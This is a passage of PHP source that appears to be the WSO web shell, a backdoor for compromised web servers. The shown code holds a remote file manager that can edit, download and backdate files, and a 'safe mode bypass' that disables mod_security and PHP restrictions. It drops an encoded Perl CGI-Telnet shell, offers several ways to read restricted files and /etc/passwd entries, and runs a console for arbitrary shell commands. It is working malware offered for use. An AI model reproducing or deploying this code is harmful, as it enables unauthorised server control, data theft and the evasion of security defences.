  529.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  530.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  531.                                     foreach ($iterator as $key=>$value) {
  532.                                         $zip->addFile(realpath($key), $key);
  533.                                     }
  534.                                 }
  535.                             }
  536.                             chdir($GLOBALS['cwd']);
  537.                             $zip->close();
  538.                         }
  539.                     }
  540.                                 } elseif($_SESSION['act'] == 'unzip') {
  541.                                         if(class_exists('ZipArchive')) {
  542.                         $zip = new ZipArchive();
  543.                         foreach($_SESSION['f'] as $f) {
  544.                             if($zip->open($_SESSION['c'].$f)) {
  545.                                 $zip->extractTo($GLOBALS['cwd']);
  546.                                 $zip->close();
  547.                             }
  548.                         }
  549.                     }
  550.                                 }
  551.                                 unset($_SESSION['f']);
  552.                                 break;
  553.                         default:
  554.                                 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
  555.                                         $_SESSION['act'] = @$_POST['p1'];
  556.                                         $_SESSION['f'] = @$_POST['f'];
  557.                                         foreach($_SESSION['f'] as $k => $f)
  558.                                                 $_SESSION['f'][$k] = urldecode($f);
  559.                                         $_SESSION['c'] = @$_POST['c'];
  560.                                 }
  561.                                 break;
  562.                 }
  563.         }
  564.         $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  565.         if($dirContent === false) {        echo 'Can\'t open this folder!';wsoFooter(); return;        }
  566.         global $sort;
  567.         $sort = array('name', 1);
  568.         if(!empty($_POST['p1'])) {
  569.                 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  570.                         $sort = array($match[1], (int)$match[2]);
  571.         }
  572. echo "<script>
  573.         function sa() {
  574.                 for(i=0;i<document.files.elements.length;i++)
  575.                         if(document.files.elements[i].type == 'checkbox')
  576.                                 document.files.elements[i].checked = document.files.elements[0].checked;
  577.         }
  578. </script>
  579. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  580. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_".($sort[1]?0:1)."")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_".($sort[1]?0:1)."")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_".($sort[1]?0:1)."")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_".($sort[1]?0:1)."")'>Permissions</a></th><th>Actions</th></tr>";
  581.         $dirs = $files = array();
  582.         $n = count($dirContent);
  583.         for($i=0;$i<$n;$i++) {
  584.                 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  585.                 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  586.                 $tmp = array('name' => $dirContent[$i],
  587.                                          'path' => $GLOBALS['cwd'].$dirContent[$i],
  588.                                          'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  589.                                          'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  590.                                          'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  591.                                          'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  592.                                          'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  593.                                         );
  594.                 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  595.                         $files[] = array_merge($tmp, array('type' => 'file'));
  596.                 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  597.                         $dirs[] = array_merge($tmp, array('type' => 'link'));
  598.                 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  599.                         $dirs[] = array_merge($tmp, array('type' => 'dir'));
  600.         }
  601.         $GLOBALS['sort'] = $sort;
  602.         function wsoCmp($a, $b) {
  603.                 if($GLOBALS['sort'][0] != 'size')
  604.                         return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  605.                 else
  606.                         return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  607.         }
  608.         usort($files, "wsoCmp");
  609.         usort($dirs, "wsoCmp");
  610.         $files = array_merge($dirs, $files);
  611.         $l = 0;
  612.         foreach($files as $f) {
  613.                 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  614.                         .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  615.                 $l = $l?0:1;
  616.         }
  617.         echo "<tr><td colspan=7>
  618.         <input type=hidden name=a value='FilesMan'>
  619.         <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  620.         <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  621.         <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  622.     if(class_exists('ZipArchive'))
  623.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  624.     if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
  625.         echo "<option value='paste'>Paste / zip</option>";
  626.     echo "</select>&nbsp;<input type='submit' value='>>'></td></tr></form></table></div>";
  627.         wsoFooter();
  628. }

  629. function actionStringTools() {
  630.         if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  631.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  632.         if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  633.         if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  634.         if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  635.         $stringTools = array(
  636.                 'Base64 encode' => 'base64_encode',
  637.                 'Base64 decode' => 'base64_decode',
  638.                 'Url encode' => 'urlencode',
  639.                 'Url decode' => 'urldecode',
  640.                 'Full urlencode' => 'full_urlencode',
  641.                 'md5 hash' => 'md5',
  642.                 'sha1 hash' => 'sha1',
  643.                 'crypt' => 'crypt',
  644.                 'CRC32' => 'crc32',
  645.                 'ASCII to HEX' => 'ascii2hex',
  646.                 'HEX to ASCII' => 'hex2ascii',
  647.                 'HEX to DEC' => 'hexdec',
  648.                 'HEX to BIN' => 'hex2bin',
  649.                 'DEC to HEX' => 'dechex',
  650.                 'DEC to BIN' => 'decbin',
  651.                 'BIN to HEX' => 'binhex',
  652.                 'BIN to DEC' => 'bindec',
  653.                 'String to lower case' => 'strtolower',
  654.                 'String to upper case' => 'strtoupper',
  655.                 'Htmlspecialchars' => 'htmlspecialchars',
  656.                 'String length' => 'strlen',
  657.         );
  658.         if(isset($_POST['ajax'])) {
  659.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  660.                 ob_start();
  661.                 if(in_array($_POST['p1'], $stringTools))
  662.                         echo $_POST['p1']($_POST['p2']);
  663.                 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  664.                 echo strlen($temp), "\n", $temp;
  665.                 exit;
  666.         }
  667.         wsoHeader();
  668.         echo '<h1>String conversions</h1><div class=content>';
  669.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  670.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  671.         echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  672.         foreach($stringTools as $k => $v)
  673.                 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  674.                 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  675.         if(!empty($_POST['p1'])) {
  676.                 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  677.         }
  678.         echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  679.                 <form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>
  680.                         <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  681.                         <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  682.                         <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  683.                         <tr><td></td><td><input type='submit' value='>>'></td></tr>
  684.                         </table></form>";

  685.         function wsoRecursiveGlob($path) {
  686.                 if(substr($path, -1) != '/')
  687.                         $path.='/';
  688.                 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  689.                 if(is_array($paths)&&@count($paths)) {
  690.                         foreach($paths as $item) {
  691.                                 if(@is_dir($item)){
  692.                                         if($path!=$item)
  693.                                                 wsoRecursiveGlob($item);
  694.                                 } else {
  695.                                         if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  696.                                                 echo "<a href='#' onclick='g("FilesTools",null,"".urlencode($item)."", "view")'>".htmlspecialchars($item)."</a><br>";
  697.                                 }
  698.                         }
  699.                 }
  700.         }
  701.         if(@$_POST['p3'])
  702.                 wsoRecursiveGlob($_POST['c']);
  703.         echo "</div><br><h1>Search for hash:</h1><div class=content>
  704.                 <form method='post' target='_blank' name='hf'>
  705.                         <input type='text' name='hash' style='width:200px;'><br>
  706.                         <input type='button' value='hashcrack.com' onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
  707.                         <input type='button' value='milw0rm.com' onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
  708.                         <input type='button' value='hashcracking.info' onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
  709.                         <input type='button' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
  710.                         <input type='button' value='md5decrypter.com' onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
  711.                 </form></div>";
  712.         wsoFooter();
  713. }

  714. function actionFilesTools() {
  715.         if( isset($_POST['p1']) )
  716.                 $_POST['p1'] = urldecode($_POST['p1']);
  717.         if(@$_POST['p2']=='download') {
  718.                 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  719.                         ob_start("ob_gzhandler", 4096);
  720.                         header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  721.                         if (function_exists("mime_content_type")) {
  722.                                 $type = @mime_content_type($_POST['p1']);
  723.                                 header("Content-Type: ".$type);
  724.                         }
  725.                         $fp = @fopen($_POST['p1'], "r");
  726.                         if($fp) {
  727.                                 while(!@feof($fp))
  728.                                         echo @fread($fp, 1024);
  729.                                 fclose($fp);
  730.                         }
  731.                 }exit;
  732.         }
  733.         if( @$_POST['p2'] == 'mkfile' ) {
  734.                 if(!file_exists($_POST['p1'])) {
  735.                         $fp = @fopen($_POST['p1'], 'w');
  736.                         if($fp) {
  737.                                 $_POST['p2'] = "edit";
  738.                                 fclose($fp);
  739.                         }
  740.                 }
  741.         }
  742.         wsoHeader();
  743.         echo '<h1>File tools</h1><div class=content>';
  744.         if( !file_exists(@$_POST['p1']) ) {
  745.                 echo 'File not exists';
  746.                 wsoFooter();
  747.                 return;
  748.         }
  749.         $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  750.         if(!$uid) {
  751.                 $uid['name'] = @fileowner($_POST['p1']);
  752.                 $gid['name'] = @filegroup($_POST['p1']);
  753.         } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  754.         echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  755.         echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  756.         if( empty($_POST['p2']) )
  757.                 $_POST['p2'] = 'view';
  758.         if( is_file($_POST['p1']) )
  759.                 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  760.         else
  761.                 $m = array('Chmod', 'Rename', 'Touch');
  762.         foreach($m as $v)
  763.                 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  764.         echo '<br><br>';
  765.         switch($_POST['p2']) {
  766.                 case 'view':
  767.                         echo '<pre class=ml1>';
  768.                         $fp = @fopen($_POST['p1'], 'r');
  769.                         if($fp) {
  770.                                 while( !@feof($fp) )
  771.                                         echo htmlspecialchars(@fread($fp, 1024));
  772.                                 @fclose($fp);
  773.                         }
  774.                         echo '</pre>';
  775.                         break;
  776.                 case 'highlight':
  777.                         if( @is_readable($_POST['p1']) ) {
  778.                                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  779.                                 $code = @highlight_file($_POST['p1'],true);
  780.                                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  781.                         }
  782.                         break;
  783.                 case 'chmod':
  784.                         if( !empty($_POST['p3']) ) {
  785.                                 $perms = 0;
  786.                                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  787.                                         $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  788.                                 if(!@chmod($_POST['p1'], $perms))
  789.                                         echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  790.                         }
  791.                         clearstatcache();
  792.                         echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  793.                         break;
  794.                 case 'edit':
  795.                         if( !is_writable($_POST['p1'])) {
  796.                                 echo 'File isn\'t writeable';
  797.                                 break;
  798.                         }
  799.                         if( !empty($_POST['p3']) ) {
  800.                                 $time = @filemtime($_POST['p1']);
  801.                                 $_POST['p3'] = substr($_POST['p3'],1);
  802.                                 $fp = @fopen($_POST['p1'],"w");
  803.                                 if($fp) {
  804.                                         @fwrite($fp,$_POST['p3']);
  805.                                         @fclose($fp);
  806.                                         echo 'Saved!<br><script>p3_="";</script>';
  807.                                         @touch($_POST['p1'],$time,$time);
  808.                                 }
  809.                         }
  810.                         echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  811.                         $fp = @fopen($_POST['p1'], 'r');
  812.                         if($fp) {
  813.                                 while( !@feof($fp) )
  814.                                         echo htmlspecialchars(@fread($fp, 1024));
  815.                                 @fclose($fp);
  816.                         }
  817.                         echo '</textarea><input type=submit value=">>"></form>';
  818.                         break;
  819.                 case 'hexdump':
  820.                         $c = @file_get_contents($_POST['p1']);
  821.                         $n = 0;
  822.                         $h = array('00000000<br>','','');
  823.                         $len = strlen($c);
  824.                         for ($i=0; $i<$len; ++$i) {
  825.                                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  826.                                 switch ( ord($c[$i]) ) {
  827.                                         case 0:  $h[2] .= ' '; break;
  828.                                         case 9:  $h[2] .= ' '; break;
  829.                                         case 10: $h[2] .= ' '; break;
  830.                                         case 13: $h[2] .= ' '; break;
  831.                                         default: $h[2] .= $c[$i]; break;
  832.                                 }
  833.                                 $n++;
  834.                                 if ($n == 32) {
  835.                                         $n = 0;
  836.                                         if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  837.                                         $h[1] .= '<br>';
  838.                                         $h[2] .= "\n";
  839.                                 }
  840.                          }
  841.                         echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  842.                         break;
  843.                 case 'rename':
  844.                         if( !empty($_POST['p3']) ) {
  845.                                 if(!@rename($_POST['p1'], $_POST['p3']))
  846.                                         echo 'Can\'t rename!<br>';
  847.                                 else
  848.                                         die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  849.                         }
  850.                         echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  851.                         break;
  852.                 case 'touch':
  853.                         if( !empty($_POST['p3']) ) {
  854.                                 $time = strtotime($_POST['p3']);
  855.                                 if($time) {
  856.                                         if(!touch($_POST['p1'],$time,$time))
  857.                                                 echo 'Fail!';
  858.                                         else
  859.                                                 echo 'Touched!';
  860.                                 } else echo 'Bad time format!';
  861.                         }
  862.                         clearstatcache();
  863.                         echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  864.                         break;
  865.         }
  866.         echo '</div>';
  867.         wsoFooter();
  868. }

  869. function actionSafeMode() {
  870. unlink($GLOBALS['cwd'].".htaccess");
  871. unlink($GLOBALS['cwd']."php.ini");
  872. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  873.     fwrite($fil,'<IfModule mod_security.c>
  874. Sec------Engine Off
  875. Sec------ScanPOST Off
  876. </IfModule>');
  877.     fclose($fil);
  878.         $fil=fopen($GLOBALS['cwd']."php.ini","w");
  879.       fwrite($fil,'safe_mode=OFF
  880. disable_functions=NONE');
  881.      fclose($fil);
  882. @mkdir('dkcgi',0755);
  883. $file = fopen($dir."dkcgi/.htaccess" ,"w+");
  884. $sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w
  885. aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt
  886. cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp
  887. cHQgLnNh');
  888. $write = fwrite ($file ,$sa);

  889. $file = fopen($dir."dkcgi/cgi.pl" ,"w+");
  890. $sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZv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fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8NCi8gIF9fIFx8ICBfXyBcfF8gICBffCAgICAgICAgfF8gICBffCAgICAgIHwgfCAgICAgICAgICAgICB8IHwNCnwgLyAgXC98IHwgIFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfDQp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wNCnwgXF9fL1x8IHxfXCBcIF98IHxfICAgICAgICAgICB8IHwgIHwgIF9fL3wgfHwgfCB8IHx8ICBfXy98IHxfDQogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wgfF98IFxfX198IFxfX3wgMS4wDQoNCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPqkgMjAwMywgVW5pdC1YIFRlYW08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICBVTklULVggICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2Zv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CgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQo=');
  894. $write = fwrite ($file ,$sa);

  895. chmod($dir."dkcgi/dz.sa" , 0755);
  896. chmod($dir."dkcgi/cgi.pl" , 0755);
  897.          
  898.          
  899.          
  900.         $temp='';
  901.         ob_start();
  902.         switch($_POST['p1']) {
  903.                 case 1:
  904.                         $temp=@tempnam($test, 'cx');
  905.                         if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  906.                                 echo @file_get_contents($temp);
  907.                                 unlink($temp);
  908.                         } else
  909.                                 echo 'Sorry... Can\'t open file';
  910.                         break;
  911.                 case 2:
  912.                         $files = glob($_POST['p2'].'*');
  913.                         if( is_array($files) )
  914.                                 foreach ($files as $filename)
  915.                                         echo $filename."\n";
  916.                         break;
  917.                 case 3:
  918.                         $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  919.                         curl_exec($ch);
  920.                         break;
  921.                 case 4:
  922.                         ini_restore("safe_mode");
  923.                         ini_restore("open_basedir");
  924.                         include($_POST['p2']);
  925.                         break;
  926.                 case 5:
  927.                         for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  928.                                 $uid = @posix_getpwuid($_POST['p2']);
  929.                                 if ($uid)
  930.                                         echo join(':',$uid)."\n";
  931.                         }
  932.                         break;
  933.         }
  934.         $temp = ob_get_clean();
  935.         wsoHeader();
  936.        
  937.         echo '<h1>Safe mode bypass</h1><div class=content>';
  938.         echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  939.         if($temp)
  940.                 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  941.         echo '</div>';
  942.         echo "<center><a href=/dkcgi/cgi.pl>cgi script 1</a><br />";
  943.         echo "<a href=/dkcgi/dz.sa>cgi script 2</a><br /></center>";
  944.         wsoFooter();
  945. }

  946. function actionConsole() {
  947.         if(isset($_POST['ajax'])) {
  948.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  949.                 ob_start();
  950.                 echo "document.cf.cmd.value='';\n";
  951.                 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  952.                 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))        {
  953.                         if(@chdir($match[1])) {
  954.                                 $GLOBALS['cwd'] = @getcwd();
  955.                                 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  956.                         }
  957.                 }
  958.                 echo "document.cf.output.value+='".$temp."';";
  959.                 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  960.                 $temp = ob_get_clean();
  961.                 echo strlen($temp), "\n", $temp;
  962.                 exit;
  963.         }
  964.         wsoHeader();
  965.     echo "<script>
  966. if(window.Event) window.captureEvents(Event.KEYDOWN);
  967. var cmds = new Array('');
  968. var cur = 0;
  969. function kp(e) {
  970.         var n = (window.Event) ? e.which : e.keyCode;
  971.         if(n == 38) {
  972.                 cur--;
  973.                 if(cur>=0)
  974.                         document.cf.cmd.value = cmds[cur];
  975.                 else
  976.                         cur++;
  977.         } else if(n == 40) {
  978.                 cur++;
  979.                 if(cur < cmds.length)
  980.                         document.cf.cmd.value = cmds[cur];
  981.                 else
  982.                         cur--;
  983.         }
  984. }
  985. function add(cmd) {
  986.         cmds.pop();
  987.         cmds.push(cmd);
  988.         cmds.push('');
  989.         cur = cmds.length-1;
  990. }
  991. </script>";
  992.         echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  993.         foreach($GLOBALS['aliases'] as $n => $v) {
  994.                 if($v == '') {
  995.                         echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  996.                         continue;
  997.                 }
  998.                 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  999.         }
  1000.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1001.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1002.         echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1003.         if(!empty($_POST['p1'])) {
  1004.                 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1005.         }
  1006.         echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  1007.         echo '</form></div><script>document.cf.cmd.focus();</script>';
  1008.         wsoFooter();
  1009. }

  1010. function actionLogout() {
  1011.         unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
